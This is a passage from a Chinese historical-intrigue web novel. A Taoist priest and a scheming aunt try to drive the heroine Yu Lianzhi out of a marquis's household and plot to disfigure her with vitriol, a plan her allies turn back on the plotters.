“唉……”此时，一直站在一旁的清晖道人叹息着走上前，眼里是悲悯与淡然，开口，却说出煞人之语—— “看来，与太夫人相冲的，便是这位姑娘了。” 玉怜脂眼睛已经通红，害怕得发抖，费力迎着他的眼神：“我，我冲撞了太夫人?不，不可能的……” 清晖道人居高临下：“敢问姑娘可是南方人士，不久前才入京城?姑娘身上财金之气混浊，骤然扰乱太夫人先天清贵之气，自然算是相冲。” “依贫道观，姑娘不宜与太夫人同居一府，否则，于太夫人，于姑娘，都不是好事，恐会贻害无穷啊。” 玉怜脂无措地张了张口，还没有说话，另一侧，暴怒的男声响起。 “妖道！安敢在此妖言惑众?！”谢滨怒喝一声，坛前众人俱是震得一惊。 他怒斥数秒之后，身旁枯瘦女人才缓慢走前几步，冷然开口：“道长可不要胡言。” 清晖道人依然从容：“贫道修道数十载，不敢妄言。” “若不请离这位姑娘，太夫人的病，怕是再难有痊愈之期了。” 80.毒妇 清晖道人的话说完，谢滨怒气更甚，几步上前，指着他沉声呵斥： “冲撞？我家母亲是去了你云山观回来才病的，若说冲撞，难道不当是你云山观中人冲了我侯府老太君？既如此，你这妖道还不速速滚出去！” 女娘跪在蒲团上，垂着头不敢言语，放在膝上的手紧攥着裙摆，肩膀颤抖。 谢文嫣和谢文霖小跑上来，左右将她扶住：“玉姐姐，先起来……” 但刚用力，一声沙哑的怒声响起：“放肆！” 众人齐齐转首，赵庆姗扶着王老太君走近前，安平伯夫人跟在后头，面色忧愁。 “你祖父、父亲的牌位都供在云山观中，你这逆子，竟敢对道长不敬！”王老太君目中利光狠狠瞪着谢滨， “若非你姨母请来清晖道长，我老婆子此刻怕是入土了！你要赶人，便是盼着我早点儿死了，你好趁着你二弟不在，做这府里的主是吧？” 谢滨和她对视，气血上涌，面色赤红，最后还是拱手：“……儿子不敢。” “哼！”王老太君冷笑着移回眼。 随后又收敛神色，对面前老道微微垂首致意，“让道长受惊了。” 清晖道人依旧是平淡的神色，说道：“无妨，贫道已经言尽，侯府如何抉择，非贫道应管之事，信或不信，一念而已。” 王老太君正欲说话，忽地被截断。 “道长这话说的好轻巧，道长铁口直断，上来就说我们院里的人冲了太夫人，可人是我们院请来府里的，难不成是我们院的先冲撞了太夫人？”高大夫人走上前，冷声说道。 王老太君见是她开口，语气倒比和谢滨说话好一些：“如今香拦腰截断，还有什么好说的。” 她不喜庶长子，却不得不给这位大儿媳几分面子，高眉湘的父兄如今在西境正得力，虽然比不上王氏树大根深，到底也是显赫世家。 高大夫人却笑起来：“母亲，这香究竟怎么断的，谁又说的好呢？在场人这么多，三根香，不知经了多少人的手呢。” 这话一出，旁边一直不作声的安平伯夫人皱着眉头接话： “眉湘，你这说的什么话，方才怜脂接过去的时候，香还好好的，可没旁的人碰过，总不能是有人故意弄断的呀。” 高大夫人挑眉：“我不过想说，或许这香原本就制得差而已。姨母着什么急？” 安平伯夫人扯着笑：“我是着急你母亲的病，今日总得要解决掉此事呀。” 赵庆姗趁热打铁，紧贴着王老太君：“是啊！姨母，您的身子可不能一日日拖下去啊。” 而后又满目忧心，朝谢滨和高大夫人道：“大表哥，表嫂，我知道你们是担心委屈了玉妹妹，可姨母现下病着，那香确实也断了，不妨先听道长的，让玉妹妹挪出府一段时日，看看是否有效。” 谢滨怒瞪回去：“不可！” 府外盯着玉怜脂要命的人还在，虎视眈眈。 更何况，安平伯府这样针对她，一定有什么缘由，以安平伯夫人的心性，玉怜脂就算出了府，她们也不会放过她的。 退一步容易，要想再回来，可就难如登天了。 安平伯夫人蹙眉：“子慎，你今日怎的这样执拗，又不是什么大事，不过让怜脂出府小住一段时日罢了，侯府产业这样多，不会让她吃苦的。” 王老太君黑着脸良久，终于张了口：“……出府一段日子，届时再回来。” 话音落下，在场众人的脸色各有变化。 被扶起来后一直站着不说话的女娘抬起头，脸色惨白，颤抖着声音：“太夫人所言，我明白了。” 玉怜脂眼中含泪，哭泣：“滨叔能收留我这段日子，我已是万分感激，即便是爹爹还在，对您也只有言谢的。” “婶婶照顾我许久，我走之后，婶婶要好自珍重，道长说我财气浑浊，我便也不留那些金银俗物了，我房里有几个亲绣的香囊，便留下来，奉送给几位长辈，权当一点心意吧。” 谢文嫣谢文霖站在她身旁，眼泪都要下来了，而高大夫人，面色瞬间变得僵硬。 谢滨的眼神里充满悲怒，听见她提起玉逢羲，拳头几乎攥出血来。 猛地一回身，沉声严词：“谁也不能将怜脂送出府。” 王老太君一愣，而后立时瞪大眼：“你说什么？！” “母亲！”谢滨几乎是咬牙切齿，“父亲和祖父祖母在世时，最厌恶怪力乱神之说，您不是不知道，今日，又为何听信外人随口胡言？” 王老太君：“你白长年纪，不长记性？！我方才才说，你父亲和祖父的灵位……” “祭祀供奉先祖与此等怪乱言举如何能相提并论？”谢滨怒声打断她， “父亲在世时常说，敬鬼神而远之，当信正道，如今为了一句冲撞，便要将怜脂赶出府，那若今日奉香者是儿子，是眉湘，是二弟，母亲可也要将我们赶出府？！” 王老太君大怒，指着他吼道：“狂悖！你不孝不悌，竟然敢忤逆于我？今日我就是要将她送出府，你待如何？你还做不了这府里的主！” “来人！” 场里的大批家仆已经动起来，西院来的人少，根本不可能拦住，只能先围住自家主子们。 谢滨回身挡在玉怜脂身前，已是气极： “母亲便这样相信道人所言，那儿子可以为母亲请来另几位道长，看看母亲究竟是不是被冲撞！” 说着，目光如刀一般刺向一旁的安平伯夫人： “还是说，母亲是只信姨母请来的人？这么多年，姨母真是待母亲最有心的，连我那早去了的姨娘，怕也是远远比不上啊！” 谢滨的亲生姨娘，便是王老太君从小陪着的心腹丫鬟，后来被磋磨死的刘氏。 听见这个骤然被提起的人，王老太君脸色更黑：“你到底想说什么？！还不赶紧滚开！” 赵庆姗察觉到不对劲，转过头，却看见自己的母亲也是突然青了脸，像是发怵忌惮，又像是被掐住命脉后的忍怒与不安。 剑拔弩张之时，高大夫人几步上前，面有厉色：“母亲，请听儿媳一言。” 沉声缓缓：“如今二郎出京回边，但若是他回来知道，母亲重病不多请几位太医共诊，却听信所谓冲撞之言，做了场法事便要赶府里人，定然发怒。母亲最知道二郎的性情，届时，只怕姨母和庆姗都难再登门了吧。” 玉怜脂拿着帕子捂唇哭泣，听完她的话，唇角似有若无变化，复又垂泪。 王老太君也是一滞。 高大夫人的话终于是说到了关结。 谢砚深本就不喜安平伯府，更不喜玄虚之言，走前王老太君答应过他，留玉怜脂在府里，如果现下真因为一句冲撞送走玉怜脂，他回来知晓此事，不大怒才真是有鬼了。 至于玉怜脂这三根断香， 谢砚深是最不信什么不吉之说的，若真能靠厌胜诅咒、断香刺偶一类的术法咒人，边关将士还抛什么头颅，洒 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“若能一步不差，贫道担保，太夫人之病定能好全，如若虚言，贫道愿辞监院之位。” 话说到这个份上，王老太君信得不能再信了。 谢滨皱眉：“独自一人入园？这……” 飞红园太大，下人们不跟着，让玉怜脂日落后自己进来，岂不是会吓坏她。 安平伯夫人立刻接话：“这法子已是最好的了，横竖在府里，总不会出什么事的。” 而后又拍了拍王老太君的手：“姐姐，如此便是两全，咱们也不用在这里争些什么了，只是怜脂难免要委屈了。” 她就知道没那么容易赶走这个女子。 好在，提前商量了备选的法子。 既然不能赶人出府，那也只能冒险，在侯府里动些非常手段了。 届时，就是玉氏女想留下，怕谢砚深也不肯要她。 场内沉默着。 玉怜脂擦了泪，应声：“不委屈的，便听从道长所言吧，只要太夫人能病好，我做什么都是应当的。” 谢滨看她，眼里尽是心疼，而后转头对王老太君说： “既如此，那就让怜脂搬回珠玉院吧，东边只有主院，二郎现下又不在，珠玉院围着一大片林子，最僻静不过了。” 王老太君点了头，道：“就这么办吧。” … 主院。 忠伯出了屋子，刚阖上门，一回身，一道人影站在背后。 老头被吓得猛地一蹦，随后着急低声：“出了什么事？” 来传信的护卫长擦着汗，不停大喘气： “不好了总管，飞红园那边的管事让我来报信，说太夫人听了安平伯夫人请来的清晖道人的话，要把姑娘送出府，被大郎君和大夫人拦下了，现在又改成了让姑娘回珠玉院，每七天去飞红园里烧经文。” “那个道人非让姑娘快入夜了一个人进园子里，安平伯夫人不怀好意，怕是要对姑娘不利！” 忠伯睁圆了眼：“什么？！” 护卫长：“您快拿个主意吧，姑娘身边的暗卫说，侯爷有令，要是有要害姑娘的人，他们会下死手，府里若是出了人命，得有人扫尾啊。” 忠伯焦头烂额，大手一挥：“入了夜，赶紧把飞红园的所有管事叫来，记住，要悄悄的，不许惊动人！” “是！” 81.防贼 法事结束的当晚，玉怜脂就住回了珠玉院。 先前从珠玉院搬回西院费了两日，这次再回去，却只几个时辰就搬完了。 王老太君生怕自己的病不能快速好全，命令谢滨将西院的人手拨了不少出来，务必当天就把玉怜脂挪进珠玉院里。 珠玉院外头加派了护卫，伺候的下人们进出都要尽量减少，润安堂还派人传了话，说每日都会派人过来查看玉怜脂经书抄写的状况。 每日供进小院的吃食更不用说了，都是些清汤寡水的素膳，院子里的小厨房是能开火，但送进珠玉院的食材也都是素的，糖油的配量减到最低。 珠玉院的下人们要想吃荤腥，必须得出院子，等着西院送食盒来才行。 原本跟来府里的玉氏旧仆有三十来个，但清晖道人说沐浴斋戒是苦修，不能太多人侍奉，留些必要的就行了，免得人多气杂，乱了道法。 王老太君便说只许五个跟着进去，谢滨咬定了不肯，最后各退一步，带了一半，十五个人。 玉怜脂关进了珠玉院里，日日手抄经文到深夜，每回润安堂的人进珠玉院查看，都是找不出任何错处的。 回禀的时候，也只说：“玉姑娘抄经文甚是用心，奴婢们入夜了过去看，姑娘一日便能抄许多，手都是抖的，眼下都青黑了。” 回话的时候，王老太君面上总算有些满意的神色，挥手让人下去，过后要更仔细地盯着。 而正陪在旁边的安平伯夫人倒是柔声说了两句“别让那孩子太辛苦，她身子素来娇弱”云云。 王老太君听完一声嗤笑，什么话都没说，眼神却已经表了态。 安平伯夫人自然也没再说下去，只笑着摇了摇头。 本来就轻飘飘没什么分量的劝言立刻就被抛到脑后，像是从未响起来过。 到了抄经的第五日，午时，珠玉院急急递了信出来。 玉怜脂连日不眠不休地抄经文，病倒了。 珠玉院的人立刻跑到西院，要请玉氏药堂一直照料玉怜脂的女医进来看诊，说那女医最知道玉怜脂体质，医术最精湛不过了。 王老太君知道了消息，当然不肯，让人传话说府里有大夫。 然而这回谢滨却先斩后奏，派人一匹快马出了府，大半个时辰就接来了人，直接送进珠玉院里。 珠玉院外头润安堂盯着的人还想拦人，但谢滨亲自到了院门外边，站在最前头的小管事刚想劝阻，就挨了两记狠怒耳光。 高大夫人也迈入了许久不进的润安堂，劝说玉怜脂要是不能快点好起来，后日不能焚经、大后日不能诵经，岂不是耽误了大事。 她说的有理，加上世族彼此之间的三分情面，王老太君不情不愿点了头。 … 房门紧闭，屋子里弥漫着药气。 玉怜脂慢慢饮下药，倚靠在凭几上，身上只穿了薄软的寝衣。 “姑娘要唤我进来，如何不使得，谢侯给姑娘留了暗卫，姑娘只消说一声，让他们配合着，我夜里秘入侯府便是了。”段素灵将药碗接过来，皱着眉沉声。 玉怜脂轻笑一声，摇摇头：“那怎么能行。” “那些暗卫就是他的眼睛、耳朵，寝屋他们不能靠得太近，听不着什么也就罢了，但在外头明面上，我做什么都得小心，否则哪天一个不慎，又让他起了疑心也说不定。” 让暗卫秘密送段素灵进来，且不说她这样安排事情不符合她平日示人的形象，且如何解释让段素灵暗入侯府的动机？ 还不如小病一场，夸大点言辞，顺理成章就把人请进来了。 更何况谢砚深虽然说留了乔诚给她，但这些日子，乔诚给她诊脉都是暗地里，煎药的药方靠暗卫传递，侯府的人并不知道主院的大夫一直照料她的事情。 如今她被软禁在珠玉院，乔诚就来不了了，她的身体还是要段素灵来看过才稳妥。 段素灵脸色阴沉：“镇北侯此人确实疑心甚重，已经怀疑您许多次了，在京城里不是长远计，也不知道还能瞒多久。” “我们如今也只能争时间，赌天命。”玉怜脂淡然说。 冬祭的事情，只要李贤娘的胎还没落地，赵阿京就不会吐露半个字。 李贤娘因为早年受了大罪，身体其实并不适合生育，即便胎儿月份大了，也还是不稳当，难产的几率更是比寻常妇人高出数倍，一丁点惊吓变动都受不得，情况如同火上悬丝，随时崩断。 但再难生，李贤娘也不可能拖着永远不生，一旦胎儿落地，李贤娘也平安之后，赵阿京的嘴封不封得住就难说了。 谢砚深先前下了令，李贤娘现在困在谢氏庄子里，有人看守着，钟府的人接触不到她，但她的身契始终在钟府手里。 万一哪天赵阿京扛不住焦田庄的苦役折磨，又知道妻儿在外过的如履薄冰，起了将功折罪的念头，想用秘密换谢府庇佑妻儿平安温饱，顺带报复她，把冬祭的事情全抖落出来，也不是不可能。 所以，她们最好在事情败露前想好退路，一旦有事发的可能，立刻提前离开京城。 但，此时还不到时候。 玉怜脂倾身过去，肃声问：“前段日子我让嬷嬷传信，要阿姊查的事情，如何了？” 谢滨隐约透露出两江疑有大事发生，她传信让段素灵查探，多日过去了，总该有些进展。 段素灵立刻回道：“我们的人大多都安插在品阶低的官员府里，做些外院杂活，我又寻了京城里的游侠乞丐，探听了这些日子，才有了点眉目。” “说是陛下下旨，把原先刑部的一名官员下了狱，那名官员前段日子曾经领命去了两江，正好是两江武库署和军器监官员出事之后的日子，应当就是去查此案的，我已经传信给吕二当家，看看是否属实。” “果真？！”玉怜脂眼中盈亮起来，坐直了身子，强抑着激动， “那，可知道他如今下狱是为了什么缘由？” 若是因为要重翻旧案，那就可以确定一件事——皇帝有肃清两江的意思。 皇帝起这个念头，很有可能是知道了两江藏着猫腻，更甚者，已经知道了两江和承王之间的关系。 若是事情顺利，两江和承王勾结之事暴露，离她大仇得报，就近了很大一步。 然而段素灵沉默片刻，摇了摇头：“尚不知，还需要时间查实。” 玉怜脂顿住一秒，复又平下气来，唇角带笑： “不打紧，阿姊能带回来这个消息，我已经很高兴了。” 段素灵看着她强撑着笑的苍白脸颊，又想起进来前关嬷嬷的言语，眉心皱得更紧： “外头的事有我在，姑娘本来安心等着消息就行了，可现下您却在这里受这样的苦楚。我方才进来，关嬷嬷把事情都告诉我了，姑娘，那安平伯府必定是要害您，您也不能一直顺着啊。” 玉怜脂撑着侧颊，笑得深了些：“我哪是要顺着，这不就让人请了阿姊来吗？” 段素灵眼中微闪。 玉怜脂幽幽道：“阿姊，那安平伯夫人同云山观的监院交情可不浅哪。” 清晖道人轻易不出云山观，这次来侯府，说是感念谢氏一脉代代忠义护国，安平伯夫人又极为虔诚，所以才来一试。 但这样的鬼话，她可不信。 那个老道分明就是供安平伯夫人驱使。 “前些日子，他带我去云山观祭拜过阿爹阿娘，”玉怜脂轻声说， “我估摸着，是安平伯府知道了这件事。” 段素灵睁大眼：“什么？姑娘和谢侯的事，暴露了？” 玉怜脂摆摆手，满不在乎：“不用慌，她们不敢戳破的。” 一则，安平伯府没有证据，若想证明，便只能让云山观接待的道士亲口说出来，可这样一来，如何解释为何云山观独独把消息透露给了安平伯夫人？ 二来，要是这层窗户纸真破了，她们拿不准谢砚深是会放手，还是正好顺其自然，将她迎入府里。 谢砚深一向重规矩，正人君子，但现在却不顾名分也要和她情好，很明显，后者的可能性远远大过前者。 玉怜脂：“安平伯夫人盯着侯夫人的位置，要捧她女儿上去，自然视我眼中钉，欲除之而后快。” “我想着，她要是不能把我赶出府，必会在府里下手，比如，毁了我的名节清白什么的。”笑眯眯地说。 段素灵却没她这份闲心，脸上沉得要滴出水：“姑娘！” 榻上女娘笑得更加乖巧，朝她招招手。 等她附耳贴了过去，才用气声说道：“……我不方便出面说话，还要阿姊来撑着呢，待会儿……” 细细密语许久，玉怜脂方才又坐稳身子，笑吟吟地： “……辛苦阿姊了。” 段素灵垂下眼，颔首之后站起身，大步出了房门。 她出来的时候，已经是夜色蒙空。 院子里的下人们都在寝院外头，此时她身后房门紧闭，灯笼火光下，只有她一道孤影。 段素灵又走远了些，随后捡起地上一块碎石，捏在指尖，运气，狠力向廊顶一击 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暗卫头领：“已经去查了，焚香炉并无异样，但今日在太夫人收云山观一众道士居住的院中，发现了些东西。” 云山观的道士们大多会武功，故而那清晖道人也放心住在了府里，平日以炼丹为由，紧闭院门，还让王老太君派了许多守卫围在外头。 王老太君这些日子吃了他的符水丹药，病又好了不少，自然什么都由着。 但谢砚深留下的暗卫都是死人堆里爬出来的精锐，还有权调动侯府的护卫，在护卫这里，王老太君的命令是越不过家主的命令的。 至于那些道士的功夫，在他们看来也不过尔尔。 “是什么？” “有极细微的火药气味，丹房角落还有不少残留的水晶般的碎粒，拿了些回去让乔大夫查看，方才传话回来，乔大夫说，是胆巩。” 段素灵皱紧眉：“火药……和胆巩？” 暗卫头领点头。 段素灵站在原地，沉思许久，忽地，冷笑出声。 暗卫头领：“女医知道他们要做什么？” “……绿巩油。”她笑意极寒，“真是好阴毒的心肠。” 《黄帝九鼎神丹经诀》中载，炼石胆取精华，可从胆巩之中提炼出绿巩油。 绿巩油一物，可溶于水中，若触人肌肤，立时腐蚀，绝无可逆之法。 火药、胆巩、丹房。 胆巩本是药材，但对于炼丹术士来说，通常便拿它来提炼绿巩油。 如果她没猜错，安平伯府是要毁了玉怜脂的容貌，甚至，让她痛苦而亡。 暗卫统领皱眉片刻，忽地眼中锐利，显然，已经想起绿巩油是什么东西了。 段素灵直勾勾盯着他，眼神沉寒：“若是让他们用此法伤着了姑娘，别说你，你们全部人，还有主院那边的人，都万死难赎。” 暗卫统领：“我们自然不会让他们得逞！” 段素灵却冷声道：“此事的症结不在某一次暗害，而是安平伯府时时紧盯着姑娘，不害了她就不肯罢休。我听姑娘说，前些日姑娘和侯爷一同去了趟云山观，安平伯夫人和那妖道如此亲密，我猜她说不定是知道了此事，才要谋害姑娘。” “只要侯爷没回来，她们下手一次不成，后头还会再来，七七四十九日过后，还有那么多日，什么时候是个头？谁能保证能姑娘的安危次次不出漏子？你能，还是我能？只有千年做贼的，哪有千年防贼的。” 暗卫统领眉间紧皱成一团，已然被说动：“……可安平伯夫人是太夫人的堂妹。” 侯爷是下过令，如果有害玉姑娘的小人，要下死手，但他们不可能真的杀了安平伯夫人。 “谁要你们杀她们了，自然不能这么办。”段素灵说道。 “那，如何为之？” 白服女医的眼神如湖中沉石：“给她们个刻骨铭心的教训，至少，在谢侯回来之前，不敢再造次。” “如今事情已经逼到眼前了，你们再传信给谢侯也来不及了，更何况谢侯远在边陲，军务国事繁忙。事情做了之后，只管说是我的主意，你们若是做不了主，传信，我同主院的忠伯谈。” “还有一点，这些事绝对不能让姑娘知道。” 暗卫统领自然点头。 侯爷临走前交代过，玉姑娘身子骨太弱，心性又柔软，最好别让那些个脏东西污了她的眼睛，免得她被惊吓到，又会生病。 82.烧伤 悬日彻底落下前残留漫天余红，带着橘色与紫色杂糅的妖异，网罗天际下逐渐被夜黑覆没的一切。 园林正门前站满了人，融在夜色里，沉沉的一片。 女娘立在正中，提着琉璃灯，身影纤弱，云丝薄裙，如同堆满残叶的深黑池中孑立欲坠的白荷。 身边环绕着一圈人，年岁不大的女孩站得最近，正半扶着她的手臂，其余的人也都是面色难看。 飞红园大管事微躬着身，朝面前几人恭敬道： “园子里能点灯的地方都点上了，姑娘只管沿着石子儿路走，林中但凡有个什么声音，也只是些鸟禽罢了。” “今日派出来守园的全是耳朵最灵光的，就在外墙根下，若真有事，姑娘便叫喊一声，他们即刻就能赶到。” 玉怜脂握紧手里的提柄，点了点头，浅淡笑意里带着苦涩：“有劳了。” 她说话时声音很轻，脸色苍白，显然还在病中。 但这一进去，又拜又诵，焚烧经文，那些经文抄了五日，数量之多，没有一两个时辰，是出不来的。 谢滨就站在旁边，面上铁青，眼里杂糅着心疼和怒气，不发一言，眼刀刮向几步开外模样淡泊的老道。 王老太君没有到场，一切事宜都交给与云山观的人做主，还特召了飞红园的管事去润安堂，发了令，园子里的人都要绝对配合道士们做法事的要求。 她最是惜命，加上如今精神头确实好了起来，对道家丹符可以说是愈发深信。 清晖道人上前，拂尘一摆：“园中法坛已经布置妥当，姑娘只需按章程，诵经三遍之后在焚香炉里焚经即可。” “切记，焚经之时需静气凝神，不可二心，若姑娘倦怠不察，错漏科仪，误了太夫人病情便不妙了。” “时辰已到，请姑娘移步吧。” 玉怜脂垂下眼，应了一声，从关嬷嬷处接过装着经文的布包。 走出几步，回头朝满面担忧的谢滨、龙凤胎笑笑，又朝另一侧的段素灵和关嬷嬷点了点头，转身，轻步入了园中。 清晖道人慢慢抚着长须，视线投向她的背影，慢慢眯起眼。 身旁的徒弟不动声色凑近，唇缝处漏出几字轻若虚无的气音。 老道收回眼，垂首，眼神交接一瞬，手持拂尘一甩，挥袖而去。 … 琉璃灯轻轻晃着，绣鞋软底踩在路面薄铺的落叶上，窸窣擦响。 玉怜脂脚步缓慢，园里虽然点了火把，但地方太大，抬眼看去，满目漆黑里可怜有两分光亮。 走了许久，呛人的香火气钻入鼻里，已经瞧得见法坛两侧高挂的华幡。 焚香炉内闪烁着红光，火星呲啪爆闪，时不时带着香烬飞溅飘动。 整座法坛如同一座石铸的重墓，沉沉压在不远处，庄严，幽森。 穿林风声幽幽响在耳边，愈显四周漆黑死寂，空寥无人。 偌大园林里，似乎真的只剩下她一个了。 女娘脸上的苦色已经尽数褪去，面容掩在暗影里，看不分明。 提裙过阶，细眉似有若无挑起。 … 辰时中，天色已白。 安平伯府的角门打开，马夫套好了车，婆子们扶着主子踩上轿凳，入了厢内。 车轮很快转起来，朝镇北侯府而去。 赵庆姗刚坐稳，忙不迭朝面前人急问：“母亲，今日怎的这样早出来，是……?” 安平伯夫人轻摇团扇，瞥她一眼，压下声：“昨夜，那玉氏女已入了那园子。” “今日之后，你便少了个心腹大患。” 赵庆姗倒吸一口气，眉心紧皱：“昨夜？可昨夜不是她第一次入园子焚经吗?立刻便动手，让表哥知道，一定会怀疑到我们身上的。” 她有些慌乱：“表哥本来就因为哥哥的事情不待见我们，又有那个玉氏的贱人吹枕边风，母亲你做的什么事，这下他肯定厌了我了！” “从你姨母请云山观的人回府开始，你表哥就注定要把帐算到我们头上了，我养你这么久，怎么还是这么蠢。”安平伯夫人冷冷道， “我告诉你，你若是心爱你表哥，日后多想些办法让他念着你的好便是了，横竖男人不就是喜欢奉承小意那一套么。如今你姨母松了口要你嫁过去，纵然你表哥不肯，可你姨母要是再病上几回，孝字当头，父母之命，他早晚要松口。” “眼下扫清那些个碍眼拦路的东西是最要紧的事，我好不容易让你姨母信了玉氏女冲克她，而你旺她命格，你可别给我出什么茬子，你表哥厌恶你又如何，你要做的是侯府主母，不是去争床榻三分地的贱妾通房，少给我成日摆这种上不得台面的扭捏样子！” 谢砚深议亲的事情越来越紧，赵庆姗也到了岁数，若是从前，大可徐徐图之，但如今没有时间了，最迟明年，婚事必须定下来。 谢砚深是将帅，没有常驻京城的道理，总要出兵打仗的，说白了，赵庆姗嫁过去，为的还是谢氏主母的位置，至于和夫君情浓意浓那些事，都是次要。 将来侯府主君不在家中，自然一切是主母做主，赵庆姗只需要得到王老太君的支持，压得住府里人就行，熬到生了嫡子女，掌了实权，后半辈子便顺风顺水，富贵无极。 世族男子三妻四妾本是寻常，若是成亲之后，谢砚深要纳一两房妾室，也不打紧，寻些没身份没家底的女子就是了，翻不起什么风浪。 可偏偏谢砚深看中的是大房迎进府的玉氏女，是个有靠山的，敢和名分上的叔伯厮缠，料想也不是什么省油的灯，瞧着城府没多深，但肯定是个贪婪无耻的。 王老太君年岁又大了，早晚要糊涂，将来玉氏女背靠着大房，又有主君偏爱，非得夺宠争权不可，届时赵庆姗内无依仗，外无助力，多少苦也得往心里流。 说不准，一个不慎，就被那女人坑害了，就如同侯府大房先前那样，主母名存实亡，连嫡子女都归到个小妾那养大了。 若不是思虑到这些，她也不会非要立刻冒险解决那玉氏女子。 赵庆姗的脸色惨白：“可是母亲，你又不是不知道表哥的性情，他发起怒来，谁的话都不会听的……” 安平伯夫人嗤笑：“怕什么？万事有你姨母在前头挡着呢，大不了到时我与你跪下发些毒誓，做些苦肉计便是了，哪怕咒伯府断子绝孙都不打紧。” “你表哥何时归京无人知晓，但是我料定大房那边定会给他去信，要他传令回来阻止你姨母，京城和北境书信往来耗费不过半月，此时不动手，等你表哥的令信回京，再想动手也来不及了。” 赵庆姗还是有些犹豫：“可，表哥若是要为她出气……” 安平伯夫人眯起眼：“玉氏女不过是凭着容色狐媚勾引你表哥，那绿巩油和了水浇上去，如同烧伤一般，伤处骇人异常，无药可医，不论她伤在哪处，你表哥看过，没有不厌恶的道理，他一时之怒后，定然就把她抛到脑后了。” “等气消了回过神，终究还是咱们多年的亲戚情分、还有他与你姨母的母子情分要紧，难不成，他还能为了那女人报复自个儿亲娘？况且，那玉氏女容貌尽损，还有没有脸再待在侯府还两说呢。” 听到末尾，赵庆姗心神定了些许：“玉氏女，真会自己离开？” “当然。”安平伯夫人冷笑，“古时武帝有宠妃李夫人，貌美而得爱幸，死前以被蒙面，不肯让天子见到将死之容，坏了武帝心中往日她姝色姣好的印象。以色侍人者，莫不如此。” …… 说话间，马车已经开始放慢速度。 马夫再外通报了一声，车厢门打开前，安平伯夫人拉住女儿的手，低声警告： “记住了，进去之后，别提任何和法事有关的事，你什么都不知道，只是来看看病情如何的，等到你姨母提到昨夜玉氏女烧伤之时，作戏作全套，手里摔些茶盏也不算什么，听清了么？” 赵庆姗抿着唇，忙不迭点头：“母亲放心，我明白。” 车下轿凳已经摆好，两人一前一后，扶着贴身婆子的手下了马车。 整理好了衣容，进了门。 乘着小轿，一路向润安堂过去，润安堂吩咐了两个年轻的小婢子来迎她们。 轿子微微颠簸着，安平伯夫人摇着扇子，笑着侧首，朝轿下跟着走的小婢女问： “你叫什么？往日都是你家太夫人身边几个草字辈的丫头过来，今日怎么点了你们两个年岁不大的。” 王老太君给院子里看重的婢女起名字，都用草啊花的，什么英草、莲芯、蓝蕖，一概如此，求个水木花草，清灵芳华的雅意。 从前过来，多是这些大丫鬟来，今天却换了还没晓多少事的小丫头来。 小婢女看着方十岁出头，听着问，有些惶恐，连忙答道： “回姨奶奶的话，奴婢叫满绿，现下我们院子里头正在诵经，太夫人正离不得人，叫贴身伺候的几个姐姐都在身边听经文，一同去去晦气，便打发了我们两个过来。” 安平伯夫人唇角一僵，但笑容还是没有崩解：“诵经？可是清晖道长在润安堂里？” 小婢女眼里带上些迷茫：“不是呀，是玉姑娘。前段日子不是清晖道长说，要玉姑娘夜里在飞红园焚了经文，第二日清晨便到我们太夫人这诵经的吗，姨奶奶怎么都忘了？玉姑娘一早便来了呢，此刻该念完了吧。” “本来清晖道长要来看着的，可今个儿天才亮，就报信说研究出了新丹方，要闭门炼丹，来不了了，只差了两个道童过来。” 话音落下，一声帛料撕裂的声响从后头传过来。 赵庆姗手里紧攥着帕子，深深低着头。 小婢女回过头，吓了一跳：“这是怎么了……” “没什么！”安平伯夫人扯着笑， “是我糊涂了，全然忘了这事。你们玉姑娘如何了？我听说前两日，她病了。” 小婢女回过神：“哦，今日玉姑娘瞧着确实脸色不大好，不过应当不打紧。” 安平伯夫人僵硬着点头，唇角已经在隐约抽动，出气也粗重起来。 轿子到了润安堂，两人快步入了院门，却只见院子里一片寂静。 贴身伺候王老太君的蓝蕖先一步出来，笑着拜她们： “姨太太，表小姐，可巧您二位来了，太夫人刚喝了药，听了经文，此刻精神头正好呢。” 安平伯夫人站在原地，感觉喉咙里出声都颇有些艰难： “那可真是巧了，我来的路上，听底下丫头说怜脂过来诵经，还怕撞了时辰，得等上一等。” 蓝蕖：“也是时辰接的好，玉姑娘方才回了珠玉院，您们就到了，太夫人定然高兴。” 安平伯夫人浑身凉 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赵庆姗一肚子惧怕怒气没出发，立时转头，厉声呵斥： “没长眼的东西！好好的平路也不会走，是想害谁？！再不尽心，明个儿把你全家一同发卖了去！” 她吼完，拿起帕子狠狠抹了眼角的泪。 一通怒斥，外头却没个讨饶的回声，只是马车还平稳走着，速度似乎还提起来了。 过了好一会儿，又是一次把车厢压得一震的颠簸。 这回连安平伯夫人都露了怒气，赵庆姗咬着牙，侧身推开窗，掀开轿帘：“都是死人了……” 眼睛看清外头，猛地僵住。 平日走在车马旁边的婆子小厮，一个都不见了踪影。 马车也没走在往常她们回府的道上，而是拐进了不知道哪处不见人影的巷子。 “母亲！”赵庆姗尖叫一声，而后惊恐地朝外喊，“李嬷嬷！红玉！人呢？！” 外头没人，可马车还在往巷子深处走。 安平伯夫人也扑上来，顿时也慌了，她立时转向车厢厢门： “是什么人？！好大的胆子，皇城根下，你们敢绑架官眷？！” 说着便要去推那厢门。 然而不等她推，厢门自个儿便从外打开了。 一阵浓重的血腥味扑了进来，随之而来的是一具满身是血的沉重男子身体。 细看身上，还看得见被染浓的太极八卦图。 半死不活的道士还有些意识，脸上身上全是烧伤一般的伤口，双手却带了厚厚的套子，套子是湿润的，却残破，像是被套子上覆盖的东西腐蚀着。 男人如同要食人的恶鬼一般，扭曲着爬动，一下，握住了两人的脚踝。 “救，救我……”挣扎嘶喊着。 然而回应他的只有回荡在车厢内，撕心裂肺的凄厉尖叫。 —— 是夜，玉怜脂坐在美人榻上，段素灵站在她身后，提着装了火炭的鎏金球炉，久违地为她烘香湿发。 关嬷嬷快步进来，阖了房门，低声快速说： “姑娘，那清晖道人向润安堂请辞了，说云山观有要事处理，不能一直在侯府里长住，往后每七日会亲来府里一次给王太夫人把脉，其余时间，就留两个徒弟在府里看着。” “啧，耗子似的，溜得可真快。”玉怜脂慢悠悠翻着手上的书页， “那安平伯夫人和那位表小姐呢？” 这回是段素灵答的话：“主院那边传信，已经都办妥了，昨夜藏在园子里要害您的道士被扔上了安平伯府的马车，那安平伯夫人此刻知道了厉害，绝对不敢声张。” 玉怜脂浅笑：“我们的王太夫人是只爪牙钝了的猛虎，这位伯夫人便是毒蛇，钻进草丛里只是蛰伏起来，心里头还是想着咬人的。” 段素灵：“至少数月之内，她们都不敢了。” 